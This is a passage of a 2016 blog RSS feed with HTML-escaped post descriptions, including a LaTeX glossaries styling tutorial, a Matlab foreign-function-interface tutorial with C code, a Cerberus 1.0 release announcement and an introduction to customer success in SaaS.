    &lt;p&gt;&lt;a href="https://www.amazon.com/dp/B00AKKS278/ref=dp-kindle-redirect?_encoding=UTF8&amp;amp;btkr=1"&gt;The Miracle Morning&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="https://play.google.com/store/apps/details?id=com.journey.app&amp;amp;hl=en"&gt;Journey Android App&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="https://chrome.google.com/webstore/detail/journey-diary-journal/jlncjaehedpdoinepaejmlpbmdkgmpog"&gt;Journey Chrome Extension&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="http://dayoneapp.com/"&gt;Day One App iPhone/Mac&lt;/a&gt; (I’ve not used this, but seems popular)&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;</description><author>Josh Thompson</author><pubDate>Wed, 01 Jun 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/growth/2016/06/01/gratitude-3xday/</guid></item><item><title>Grimaldi</title><link>https://june.kim/grimaldi/</link><author>june.kim</author><pubDate>Wed, 01 Jun 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/grimaldi/</guid></item><item><title>Cerberus 1.0 is coming and it is going to be awesome</title><link>https://nicolaiarocci.com/cerberus-1-0-coming-going-awesome/</link><description>&lt;p&gt;&lt;a href="http://python-cerberus.org"&gt;Cerberus&lt;/a&gt; is a lightweight and extensible data validation library for Python. Beta has been around since 2012. During this time Cerberus has been serving as the validation system for &lt;a href="http://python-eve.org"&gt;Eve&lt;/a&gt; core. It has been also adopted by a &lt;a href="https://github.com/search?q=from+cerberus+import+Validator&amp;amp;type=Code&amp;amp;utf8=%E2%9C%93"&gt;quite a lot&lt;/a&gt; open source projects, averaging around 18K downloads per month on PyPI and collecting some remarkable &lt;a href="https://speakerdeck.com/nicola/cerberus?slide=56"&gt;endorsements&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;All things considered, I would dare to claim that Cerberus is battle tested to death. This is, in fact, one reason why I believe that the time for a canonical and stable release has come. Another reason is that next release is a major one. It brings a ton of important &lt;a href="http://docs.python-cerberus.org/en/latest/changelog.html#version-1-0"&gt;new features&lt;/a&gt; along with very significant code refactoring and a redesigned, powerful &lt;a href="http://docs.python-cerberus.org/en/latest/api.html"&gt;API&lt;/a&gt;. Third, next release &lt;a href="http://docs.python-cerberus.org/en/latest/changelog.html#breaking-changes"&gt;breaks&lt;/a&gt; backward compatibility, and we want to signal that in the version number.&lt;/p&gt;
&lt;p&gt;So next Cerberus release will be 1.0. If you have been following the development this will come as no surprise, as a Release Candidate has been out for a while. As a Cerberus user you will want to take the plunge and upgrade to 1.0 because well, it is just too cool to be true. If new to Cerberus you will also want to adopt 1.0 right away, for the same reason. If you are new however, make sure you get the &lt;a href="https://cerberus.readthedocs.io/en/latest/usage.html#cerberus-usage"&gt;basics covered&lt;/a&gt; before reading further. By the way, at latest PyCon Italy I gave a talk on Cerberus which also included a preview of several 1.0 features. You can check the &lt;a href="https://speakerdeck.com/nicola/cerberus"&gt;slides&lt;/a&gt; to get a general idea of the tool, its usage, and upcoming features.&lt;/p&gt;
&lt;p&gt;Let’s now look at some of the relevant features and changes introduced with Cerberus 1.0. For a (mostly) accurate list of changes and new features, have a look at the &lt;a href="http://docs.python-cerberus.org/en/latest/changelog.html#version-1-0"&gt;changelog&lt;/a&gt;.&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Wed, 01 Jun 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/cerberus-1-0-coming-going-awesome/</guid></item><item><title>Pure assembly in the forest of Panama</title><link>https://serce.me/posts/2016-06-01-wild-panama</link><description>This article covers the internals of Project Panama and experiments with increasing Java program performance using a pure inline assembler.</description><author>SerCe's blog</author><pubDate>Wed, 01 Jun 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://serce.me/posts/2016-06-01-wild-panama</guid></item><item><title>Exposing Services using Ingress with Kubernetes &amp;lt;= 1.5</title><link>https://justingarrison.com/blog/2016-06-01-exposing-services-using-ingress-with-on-prem-kubernetes-clusters/</link><description>This article has not been updated for Kubernetes clusters that use RBAC for API authentication (versions 1.6+).</description><author>Justin Garrison's Homepage</author><pubDate>Wed, 01 Jun 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://justingarrison.com/blog/2016-06-01-exposing-services-using-ingress-with-on-prem-kubernetes-clusters/</guid></item><item><title>Urda’s PGP Key Transition Statement</title><link>https://urda.com/blog/2016/05/31/key-transition</link><description>I changed OpenPGP keys. This is the public proof!</description><author>Writings of Urda</author><pubDate>Tue, 31 May 2016 23:47:07 GMT</pubDate><guid isPermaLink="true">https://urda.com/blog/2016/05/31/key-transition</guid></item><item><title>Urda’s OpenPGP Key</title><link>https://urda.com/blog/2016/05/31/openpgp-key</link><description>Use this to send me secure communications or verify my signed messages.</description><author>Writings of Urda</author><pubDate>Tue, 31 May 2016 23:00:00 GMT</pubDate><guid isPermaLink="true">https://urda.com/blog/2016/05/31/openpgp-key</guid></item><item><title>Some adjustments for LaTeX glossaries</title><link>https://bastian.rieck.me/blog/2016/latex_glossaries/</link><description>&lt;p&gt;I am using the &lt;a href="https://www.ctan.org/pkg/glossaries"&gt;fine &lt;code&gt;glossaries&lt;/code&gt; package&lt;/a&gt; to typeset
glossaries and acronyms in my dissertation.&lt;/p&gt;
&lt;p&gt;While the default settings are not bad, I like to do some custom adjustments to get the glossaries
printed &lt;em&gt;just right&lt;/em&gt;.&lt;/p&gt;
&lt;h1 id="capitalized-descriptions-in-the-glossary"&gt;Capitalized descriptions in the glossary&lt;/h1&gt;
&lt;p&gt;I want entries in the glossary to be capitalized—regardless of the original capitalization.
Hence, I prefer &lt;em&gt;minimum spanning tree&lt;/em&gt; (MST), but in the glossary, I want it to be written as
&lt;em&gt;Minimum spanning tree&lt;/em&gt;. To get the package to comply, I find the easiest way to do this is to
define a new glossary style. Since I like the &lt;code&gt;long&lt;/code&gt; glossary style, I can inherit all features from
it and only need to change a small part:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;\newglossarystyle{long-br}{%
  \setglossarystyle{long}

  \renewcommand{\glossentry}[2]{%
    \glsentryitem{##1}\glstarget{##1}{\glossentryname{##1}} &amp;amp;
    \Glossentrydesc{##1}\glspostdescription\space ##2\tabularnewline
  }%
}

\setglossarystyle{long-br}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The salient change is the usage of &lt;code&gt;\Glossentrydesc&lt;/code&gt; instead of &lt;code&gt;\glossentrydesc&lt;/code&gt;, which ensures
that the description is printed capitalized.&lt;/p&gt;
&lt;h1 id="non-breaking-spaces-in-the-long-short-form-of-an-acronym"&gt;Non-breaking spaces in the long-short form of an acronym&lt;/h1&gt;
&lt;p&gt;When &lt;code&gt;glossaries&lt;/code&gt; typesets an acronym, I prefer the long-short form. For example, the first use of
an acronym should look like &lt;em&gt;minimum spanning tree (MST)&lt;/em&gt;. Unfortunately, the space between the long
form and the short form permits a line-break. This is of course unacceptable and needs to be
rectified. The easiest way to solve this is to use&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;\renewcommand{\acrfullformat}[2]{#1~(#2)}   
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;in the preamble of the document. This does &lt;em&gt;not&lt;/em&gt; work when you use a custom style, though. See below
if you want to copy my style.&lt;/p&gt;
&lt;h1 id="printing-acronyms-always-upright-in-the-long-short-form"&gt;Printing acronyms always upright in the long-short form&lt;/h1&gt;
&lt;p&gt;When the long-short form of an acronym is used, I prefer any text decorations only to apply to the
long description, but &lt;em&gt;not&lt;/em&gt; to the acronym. Consequently, I like &lt;em&gt;minimum spanning tree&lt;/em&gt; (MST)
better than I like &lt;em&gt;minimum spanning tree (MST)&lt;/em&gt;. To achieve this, we need to define our own
style. Again, I like the &lt;code&gt;long-short&lt;/code&gt; style, so I am going to base the custom style upon it:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;\newacronymstyle{long-short-br}
{%
  \GlsUseAcrEntryDispStyle{long-short}%
}%
{%
  \GlsUseAcrStyleDefs{long-short}%  
  \renewcommand*{\genacrfullformat}[2]{%
    \glsentrylong{##1}##2~\textup{(\firstacronymfont{\glsentryshort{##1}})}%
  }%
  \renewcommand*{\Genacrfullformat}[2]{%
    \Glsentrylong{##1}##2~\textup{(\firstacronymfont{\glsentryshort{##1}})}%
  }%
  \renewcommand*{\genplacrfullformat}[2]{%
    \glsentrylongpl{##1}##2~\textup{(\firstacronymfont{\glsentryshortpl{##1}})}%
  }%
  \renewcommand*{\Genplacrfullformat}[2]{%
    \Glsentrylongpl{##1}##2~\textup{(\firstacronymfont{\Glsentryshortpl{##1}})}%
  }%
}

\setacronymstyle{long-short-br}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note that this style also uses a non-breaking space &lt;code&gt;~&lt;/code&gt; to connect the long form to the short form.
If you do not want this, just use &lt;code&gt;\space&lt;/code&gt; instead.&lt;/p&gt;
&lt;p&gt;That’s it for now—as soon as I have found out more ways to procrastinate when using
LaTeX, there will be a new post.&lt;/p&gt;</description><author>Ecce Homology on Bastian Grossenbacher Rieck's personal homepage</author><pubDate>Tue, 31 May 2016 20:59:21 GMT</pubDate><guid isPermaLink="true">https://bastian.rieck.me/blog/2016/latex_glossaries/</guid></item><item><title>Matlab has an FFI and it is not Mex</title><link>https://bastibe.de/2016-05-31-Matlab-FFI.html</link><description>&lt;p&gt;Sometimes, you just have to use C code. There's no way around it. C is the lingua franca and bedrock of our computational world. Even in Matlab, sometimes, you just have to call into a C library.&lt;/p&gt;
&lt;p&gt;So, you grab your towel, you bite the bullet, you strap into your K&amp;amp;R, and get down to it: You start writing a Mex file. And you curse, and you cry, because writing C is hard, and Mex doesn't exactly make it any better. But you know what? &lt;em&gt;There is a better way!&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Because, unbeknownst to many, Matlab includes a Foreign Function Interface. The technique was probably pioneered by &lt;a href="https://common-lisp.net/project/cffi/"&gt;Common Lisp&lt;/a&gt;, and has since &lt;a href="http://luajit.org/ext_ffi.html"&gt;been&lt;/a&gt; &lt;a href="http://cffi.readthedocs.io/en/latest/overview.html"&gt;widely&lt;/a&gt; &lt;a href="http://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/functions.html"&gt;adopted&lt;/a&gt; &lt;a href="https://en.wikipedia.org/wiki/Foreign_function_interface"&gt;everywhere&lt;/a&gt;: calling functions in a C library without writing any C code and without invoking a compiler!&lt;/p&gt;
&lt;p&gt;Mind you, there remains a large and essential impedance mismatch between C's statically typed calling conventions and the vagaries of a dynamically typed language such as Matlab, and even the nicest FFI can't completely hide that fact. But anything is better than the abomination that is Mex.&lt;/p&gt;
&lt;p&gt;So here goes, a very simple C library that adds two arrays:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="c1"&gt;// test.c:&lt;/span&gt;
&lt;span class="cp"&gt;#include test.h&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;add_arrays&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;float&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;float&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;in&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;size_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;size_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;in&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// test.h:&lt;/span&gt;
&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;stddef.h&amp;gt;&lt;/span&gt;
&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;add_arrays&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;float&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;float&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;in&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;size_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;length&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Let's compile it! &lt;code&gt;gcc -shared -std=c99 -o test.so test.c&lt;/code&gt; will do the trick.&lt;/p&gt;
&lt;p&gt;Now, let's load that library into Matlab with &lt;code&gt;loadlibrary&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nb"&gt;not&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;libisloaded&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'test'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;notfound&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;warnings&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="n"&gt;loadlibrary&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'test.so'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;'test.h'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nb"&gt;assert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;isempty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;notfound&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="s"&gt;'could not load test library'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Note that &lt;code&gt;loadlibrary&lt;/code&gt; can't parse many things you would commonly find in header files, so you will likely have to strip them down to the bare essentials. Additionally, &lt;code&gt;loadlibrary&lt;/code&gt; doesn't throw errors if it can't load a library, so we always have to check the &lt;code&gt;notfound&lt;/code&gt; output argument to see if the library was actually loaded successfully.&lt;/p&gt;
&lt;p&gt;With that, we can call functions in that library using &lt;code&gt;calllib&lt;/code&gt;. But we can't just pass in Matlab vectors, that would be too easy. We first have to convert them to something C can understand: Pointers&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;vector1&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="n"&gt;vector2&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="n"&gt;vector1ptr&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="n"&gt;libpointer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'singlePointer'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;vector1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;vector2ptr&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="n"&gt;libpointer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'singlePointer'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;vector2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;What is nice about this is that this automatically converts the vectors from &lt;code&gt;double&lt;/code&gt; to &lt;code&gt;float&lt;/code&gt;. What is less nice is that it uses its weird &lt;code&gt;singlePtr&lt;/code&gt; notation instead of the more canonical &lt;code&gt;float*&lt;/code&gt; that you would expect from a self-respecting C header.&lt;/p&gt;
&lt;p&gt;Then, finally, let's call our function:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;calllib&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'test'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;'add_arrays'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;vector1ptr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;vector2ptr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;length&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vector1&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;If you see no errors, everything went smoothly, and you will now have changed the content of vector1ptr, which we can have a look at like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;added_vectors&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="n"&gt;vector1ptr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Note that this didn't change the contents of &lt;code&gt;vector1&lt;/code&gt;, only of the newly created pointer. So there will always be some memory overhead to this technique in comparison to Mex files. However, runtime overhead seems pretty fine:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;timeit&lt;/span&gt;&lt;span class="p"&gt;(@()&lt;/span&gt; &lt;span class="n"&gt;calllib&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'test'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;'add_arrays'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;vector1ptr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;vector2ptr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;length&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vector1&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
&lt;span class="c"&gt;%   ans = 1.9155e-05&lt;/span&gt;
&lt;span class="n"&gt;timeit&lt;/span&gt;&lt;span class="p"&gt;(@()&lt;/span&gt; &lt;span class="n"&gt;the_same_thing_but_as_a_mex_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;single&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vector1&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="nb"&gt;single&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vector2&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
&lt;span class="c"&gt;%   ans = 4.6262e-05&lt;/span&gt;
&lt;span class="n"&gt;timeit&lt;/span&gt;&lt;span class="p"&gt;(@()&lt;/span&gt; &lt;span class="n"&gt;the_same_thing_plus_argument_conversion&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vector1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;vector2&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="c"&gt;%   ans = 1.2326e-04&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;So as you can see, the &lt;code&gt;calllib&lt;/code&gt; is plenty fast. However, if you add the Matlab code for converting the double arrays to pointers and extracting the summed data afterwards, the FFI is noticeably slower than a Mex file.&lt;/p&gt;
&lt;p&gt;However, If I ask myself whether I would sacrifice 0.00007 seconds of computational overhead for hours of my life &lt;em&gt;not&lt;/em&gt; spent with Mex, there really is no competition. I will choose Matlab's FFI over writing Mex files every time.&lt;/p&gt;</description><author>bastibe.de</author><pubDate>Tue, 31 May 2016 14:00:00 GMT</pubDate><guid isPermaLink="true">https://bastibe.de/2016-05-31-Matlab-FFI.html</guid></item><item><title>An Intro to Customer Success</title><link>https://josh.works/an-intro-to-customer-success</link><description>&lt;h2 id="customer-success---what-is-it"&gt;Customer Success - what is it?&lt;/h2&gt;

&lt;p&gt;When I tell people I work in “Customer Success”, they immediately think I do either Customer Support, or sales&lt;em&gt;. In a way, they are correct. I do both. Today, and more in the future, I’ll dig deep into this particular industry&lt;/em&gt;.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;A traditional &lt;a href="https://en.wikipedia.org/wiki/Purchase_funnel"&gt;marketing funnel&lt;/a&gt; narrows as it draws people from the top “creating awareness” pool, down through prospects &amp;gt; leads &amp;gt; trials &amp;gt; and eventually (hopefully!) customers.&lt;/p&gt;

&lt;p&gt;&lt;img alt="Notice that the funnel gets smaller with each step, and ends when the customer pays you. Source: beintheknow.co " src="/squarespace_images/static_556694eee4b0f4ca9cd56729_56035dbbe4b07ebf58d79d16_574e14d34c2f850c8f5f4c91_1464734935461__img.jpg_" /&gt; Notice that the funnel gets smaller with each step, and ends when the customer pays you. Source: beintheknow.co &lt;/p&gt;

&lt;p&gt;There’s different kinds of funnels, or different labels for each stage, but the goal is to identify and speak to a target audience, convince them you can do something valuable for them, and then have them become a customer. (I.E. pay you money)&lt;/p&gt;

&lt;p&gt;A “customer” can be a one-time purchase, recurring purchase, subscription, etc. Anything where they pay you money. Litmus is a business-to-business software-as-a-service company. All of our customers are subscribers. We don’t have any one-off purchase options.&lt;/p&gt;

&lt;p&gt;There’s very few barriers to becoming a customer of Litmus. No disks to have delivered in the mail, no software to install, no hardware to buy and techs to pay to install it, no contracts, no sales team, and quite inexpensive prices. A few visits to Chipotle/month is the same cost as a basic Litmus account.&lt;/p&gt;

&lt;p&gt;Low friction is good! This means we can have many, many customers and don’t have to spend lots of time and effort getting each customer. This is good for them, too, as they can kick the tires of Litmus via a trial, and don’t have to talk to a sales rep or anything else.&lt;/p&gt;

&lt;p&gt;This ease of becoming a customer has an edge, though. It means it’s just as easy to
stop being a customer. Click a few buttons (A max of three mouse clicks from any page in your Litmus account) and your account will be closed, and you’ll never be billed again.&lt;/p&gt;

&lt;p&gt;In the marketing funnel, your goal is to increase conversions through each stage of the funnel, ultimately boosting your numbers of new customers. A Customer Success team looks at a different kind of funnel.*&lt;/p&gt;

&lt;h2 id="difference-between-customer-success-and-marketing"&gt;Difference between customer success and marketing&lt;/h2&gt;

&lt;p&gt;If you invert the marketing funnel, and start with your customers (and ignore everyone who is not yet a customer) you’ll have what you HOPE is a path of growth for your customers.&lt;/p&gt;

&lt;p&gt;Here’s a quick example. I’ve inverted a traditional marketing funnel, and now the TOP of the funnel is when someone becomes a customer. (Ideally, funnel width is proportional to growing revenue from your customers)&lt;/p&gt;

&lt;p&gt;&lt;img alt="What some Customer Success teams think about. (Thanks to Moz for the original graphic.)" src="/squarespace_images/static_556694eee4b0f4ca9cd56729_56035dbbe4b07ebf58d79d16_574e181c22482e1124317534_1464735782316_Conversion_Rate_Optimization_-_Learn_SEO_-_Moz1.png_" /&gt; What some Customer Success teams think about. (Thanks to Moz for the original graphic.)&lt;/p&gt;

&lt;p&gt;To a SaaS company, marketing is only half the battle. Once you get customers in, you need to keep them.&lt;/p&gt;

&lt;p&gt;With low costs to start using a tool, there are low costs to leaving it. There are no multi-year contracts you need to sign, no six-figure hardware installs and ongoing maintenance agreements. You just click the “cancel” button in your account, and you’re done.&lt;/p&gt;

&lt;p&gt;So, a customer success team deals with the time in a customer’s life between when they become a customer, and when they stop being a customer.* &lt;/p&gt;

&lt;p&gt;From the customer’s perspective, this is the most important time. Indeed, this is the only time that matters. This is certainly the only time the customer is thinking about you. Many companies, however, they’re not quite sure how to focus on their existing customers.&lt;/p&gt;

&lt;p&gt;If you want a hint - go talk to your customer support team. They’ll have more than enough feedback to get you moving in the right direction. &lt;/p&gt;

&lt;p&gt;I’ll dig more into this soon.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;* &lt;em&gt;“Customer Success” can be defined in many ways. Some companies label their outbound sales team “customer success”. Sometimes a strict support team goes by that title. Rather than calling out these companies for appropriating the wrong title - I’d say it’s aspirational and encouraging. If a company is reorienting itself around MY success, as a customer, I’m quite pleased.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Furthermore, there are many different angles by which you could get at “customer success”. If you’re a software company, everyone who works on the core product is technically serving the customer. If you’re in the X team, you’re serving the customer, so aren’t we all in the “customer success” business?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Yes, but for the sake of roles, lets keep it simple and assume divisions. Phew.&lt;/em&gt;&lt;/p&gt;

&lt;h4 id="additional-reading"&gt;Additional Reading:&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href="http://sixteenventures.com/"&gt;Sixteen Ventures&lt;/a&gt; - Lincoln Murphy is THE go-to expert on this.&lt;/li&gt;
  &lt;li&gt;&lt;a href="http://www.amazon.com/Customer-Success-Innovative-Companies-Recurring/dp/1119167965"&gt;Customer Success: How Innovative Companies Are Reducing Churn and Growing Recurring Revenue&lt;/a&gt; (By Lincoln and others)&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://josh.works/tags#customer+success"&gt;More that I’ve written on Customer Success&lt;/a&gt;&lt;/li&gt;
